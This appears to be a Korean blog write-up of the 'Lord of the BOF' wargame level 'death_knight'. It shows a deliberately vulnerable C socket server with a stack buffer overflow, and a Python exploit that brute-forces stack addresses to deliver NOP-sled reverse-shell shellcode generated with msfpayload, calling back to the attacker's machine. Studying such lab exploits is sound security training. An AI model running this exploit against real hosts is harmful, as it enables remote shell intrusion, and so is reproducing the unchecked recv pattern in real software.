death_night, death_night.c
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
The Lord of the BOF : The Fellowship of the BOF | |
- dark knight | |
- remote BOF | |
*/ | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <errno.h> | |
#include <string.h> | |
#include <sys/types.h> | |
#include <netinet/in.h> | |
#include <sys/socket.h> | |
#include <sys/wait.h> | |
#include <dumpcode.h> | |
main() | |
{ | |
char buffer[40]; | |
int server_fd, client_fd; | |
struct sockaddr_in server_addr; | |
struct sockaddr_in client_addr; | |
int sin_size; | |
if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){ | |
perror("socket"); | |
exit(1); | |
} | |
server_addr.sin_family = AF_INET; | |
server_addr.sin_port = htons(6666); | |
server_addr.sin_addr.s_addr = INADDR_ANY; | |
bzero(&(server_addr.sin_zero), 8); | |
if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){ | |
perror("bind"); | |
exit(1); | |
} | |
if(listen(server_fd, 10) == -1){ | |
perror("listen"); | |
exit(1); | |
} | |
while(1) { | |
sin_size = sizeof(struct sockaddr_in); | |
if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){ | |
perror("accept"); | |
continue; | |
} | |
if (!fork()){ | |
send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0); | |
send(client_fd, "You : ", 6, 0); | |
recv(client_fd, buffer, 256, 0); | |
close(client_fd); | |
break; | |
} | |
close(client_fd); | |
while(waitpid(-1,NULL,WNOHANG) > 0); | |
} | |
close(server_fd); | |
} |
클라이언트와 서버의 tcp연결이 맺어지면 fork로 자신과 같은 프로세스를 낳고 문자열을 보내고 recv에서 클라이언트의 입력을 대기하게 된다.
recv과정에서 40사이즈의 버퍼에 256을 받아오기 때문에 이를 이용해서 RET를 이동하게 할 수 있다.
6666포트로 클라이언트의 연결을 리슨하고 있는 것을 확인 할 수 있다.
페이로드는
[놉][RET][놉+쉘코드]
로 구성 하고 스택의 주소를 알 수 없기 때문에 0xbfff0000 ~ 0xbfffffff까지 주소를 브루트포싱해서 쉘을 얻을 것이고 쉘코드는 리버스쉘을 이용하여 포크된 자식프로세스가 내 컴퓨터에 접속하여 쉘을 넘기는 방법으로 공격을 할 것이다.
*쉘코드는 msfpayload를 사용하여 만들었다.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
shellcode = "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59"+\ | |
"\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\xc0\xa8\x00\x05\x66\x68"+\ | |
"\x1a\x0a\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd"+\ | |
"\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"+\ | |
"\x89\xe1\xb0\x0b\xcd\x80" | |
for i in range(0x00, 0xff, 1): | |
for j in range(0x00, 0xff, 100): | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
payload = "" | |
payload += "\x90"*44 + chr(j)+chr(i)+"\xff\xbf" + "\x90"*100 + shellcode | |
s.connect(("192.168.0.27", 6666)) | |
s.send(payload) | |
s.close() |
놉 개수와 메모리 증가 값을 적절히 수정하다 보면 공격에 성공하여 쉘을 얻을수 있다.
0 개의 댓글:
댓글 쓰기